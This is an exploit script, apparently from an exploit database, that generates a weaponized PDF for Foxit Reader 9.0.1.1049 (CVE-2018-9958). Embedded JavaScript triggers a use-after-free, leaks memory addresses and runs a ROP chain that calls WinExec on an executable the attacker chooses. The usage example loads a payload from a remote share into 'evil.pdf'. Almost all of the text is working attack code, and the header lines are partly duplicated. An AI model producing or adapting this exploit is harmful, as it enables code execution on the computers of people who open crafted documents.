# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution
# Date: August 29, 2020
# Exploit Author: CrossWire
# Vendor Homepage: https://www.foxitsoftware.com/
# Software # Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution
# Date: August 29, 2020
# Exploit Author: CrossWire
# Vendor Homepage: https://www.foxitsoftware.com/
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: 9.0.1.1049
# Tested on: Microsoft Windows Server 2016 10.0.14393
# CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958)

#!/usr/bin/python3

'''
===========================================================================
| PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958) |
===========================================================================
| Written by: Kevin Dorland (CrossWire) |
| Date: 08/29/2020 |
| |
| Exploit originally discovered by Steven Seeley (mr_me) of Source Incite |
| |
| References: |
| https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) |
| https://www.exploit-db.com/exploits/45269 (Metasploit adaptation) |
| |
===========================================================================
'''


PDF_TEMPLATE = '''
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];

function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}

function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}

function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}

function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}

function leak_vtable(){
var a = this.addAnnot({type: "Text"});

a.destroy();
gc();

prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);

var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);

var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);

alloc_at_leak();
heap_ptr = stolen[1];
}

function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);

rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret

//Path to executable

<PATH TO EXECUTABLE>

//End Path to executable

rop[0x17] = 0x00000000; // adios, amigo
}
}

function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {

that.getAnnot(0, "uaf").destroy();

reclaim();
return 1;
}
}
});

a.point = arr;
}

function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}

if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}

)>> trailer <</Root 1 0 R>>
'''

import sys

#Enforces 2 hex char byte notation. "0" becomes "0x00"
def format_byte(b):

if (len(b) > 2) and (b[0:2] == '0x'):
b = b[2:]

if len(b) == 1:
b = '0' + b

return '0x' + b

def char2hex(c):
return format_byte(hex(ord(c)))

#Converts file path into array of eleven 32-bit hex words
def path_to_machine_code(path,little_endian = True):

print("[+] Encoding Path:",path)

#ensure length
if len(path) > 44:
print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!")
exit(-1)

#Copy path into 4 character (32 bit) words (max 11)
word_array = []
for i in range(11):

word = ''

if len(path):
word += path[0:4] if len(path) >= 4 else path
path = path[len(word):]

if len(word) < 4:
word += chr(0) * (4 - len(word))

word_array.append(word)

#Convert chars to hex values and format to "0xAABBCCDD" notation
hex_array = []
for word in word_array:

#Reverse byte order to fit little endian standard
if(little_endian): word = word[::-1]

#Write bytes to hex strings
hex_string = '0x'
for char in word:
hex_string += char2hex(char)[2:] #strip the 0x off the byte here

hex_array.append(hex_string)

return hex_array

#writes encoded path to rop array to match template
def create_rop(hex_arr, start_index = '0c'):

ord_array = []

index = int(start_index,16)

for instruction in hex_arr:

full_instruction = f" rop[{format_byte(hex(index))}] = {instruction};"

ord_array.append(full_instruction)

index += 1

return (' '.join(ord_array))



if __name__ == '__main__':

if len(sys.argv) != 3:
print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>")
print("-- EXAMPLES --")
print(f"{sys.argv[0]} \\192.168.0.1\exploits\bad.exe evil.pdf")

exit(-1)

#Parse user args
EXE_PATH = sys.argv[1]
PDF_PATH = sys.argv[2]

#Generate hex
raw_hex = path_to_machine_code(EXE_PATH)

print("[+] Machine Code:")
for hex_word in raw_hex:
print(hex_word)

ord_string = create_rop(raw_hex)

print("[+] Instructions to add:")
print(ord_string)

print("[+] Generating pdf...")

print(" - Filling template...")
evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string)

print(" - Writing file...")
with open(PDF_PATH,'w') as fd:
fd.write(evil_pdf)

print("[+] Generated pdf:",PDF_PATH)